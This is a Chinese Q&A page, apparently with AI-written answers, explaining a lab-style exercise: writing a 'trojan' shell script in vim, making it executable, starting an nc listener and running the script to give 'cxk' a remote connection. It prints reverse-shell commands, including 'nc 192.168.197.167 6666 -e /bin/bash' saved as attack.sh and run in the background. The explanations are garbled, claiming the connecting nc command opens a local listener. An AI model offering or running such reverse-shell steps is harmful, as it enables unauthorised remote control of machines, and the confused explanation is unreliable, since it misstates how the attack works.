① 使用vim文本编辑器写shell脚本文件 ② 给脚本文件添加使用权限 ③ Cxk使用nc工具开启监听 ④ Fcc执行木马脚本让cxk完成远程链接
时间: 2024-12-11 21:41:59 浏览: 16
① 使用 Vim 文本编辑器编写 shell 脚本文件的步骤如下:
1. 打开终端:`Ctrl + Alt + T`
2. 进入你要保存脚本的目录:`cd /path/to/directory`
3. 创建新文件并命名为.sh结尾,例如`my_script.sh`: `vim my_script.sh`
4. 在 Vim 中,按`i`进入插入模式,然后输入你的 Shell 代码,完成后按`Esc`键退出插入模式。
5. 按下`:wq`保存并退出 VIM:`:wq`
② 给脚本文件添加使用权限:
```sh
chmod +x my_script.sh
```
这行命令会给文件赋予可执行权限。
③ 使用 `nc` 工具开启监听(网络监听),假设你想监听本地端口8080:
```sh
nc -l -p 8080
```
这将启动一个服务器,等待连接。
④ 使用 `bash` 或者类似 `./` 来执行木马脚本,让 `cxk` 完成远程链接:
```sh
./木马脚本名.sh & # 在后台运行
nc -e your_shell_command cxk_ip_address port_number
```
这里需要替换 `your_shell_command` 为你想在远程主机上执行的实际命令,`cxk_ip_address` 和 `port_number` 分别是 cxk 的 IP 地址和之前开启监听的端口号。
相关问题
木马如下 (nc 192.168.197.167 6666 -e /bin/bash) ① 使用vim文本编辑器写shell脚本文件 ② 给脚本文件添加使用权限 ③ Cxk使用nc工具开启监听
在Linux中,命令行里的"木马"通常是指通过网络连接来控制远程计算机的恶意程序。例如,"nc 192.168.197.167 6666 -e /bin/bash" 这一行是一个Unix/Linux命令,它的作用是利用Netcat (NC) 工具创建一个本地端口(6666)的TCP监听服务,并将接收到的连接转发到`/bin/bash` shell环境中,即执行bash shell命令。
以下是步骤详解:
① **使用vim编写shell脚本**:
使用`vim`编辑器打开一个新的文件,例如`attack.sh`:
```
vim attack.sh
```
然后在编辑器里输入或粘贴你的shell脚本内容,如包含`nc`命令的部分。
② **赋予脚本执行权限**:
按`:wq`保存并退出`vim`,接着运行`chmod`命令以使脚本有执行权限:
```
chmod +x attack.sh
```
③ **使用nc开启监听**:
要开始监听,你需要先移动到包含脚本的目录下,然后运行你的脚本:
```
cd $(pwd) # 如果不在当前目录
./attack.sh & # 后面加上&以后台运行
```
现在,电脑将在指定的IP地址(192.168.197.167)和端口6666上等待连接请求。
阅读全文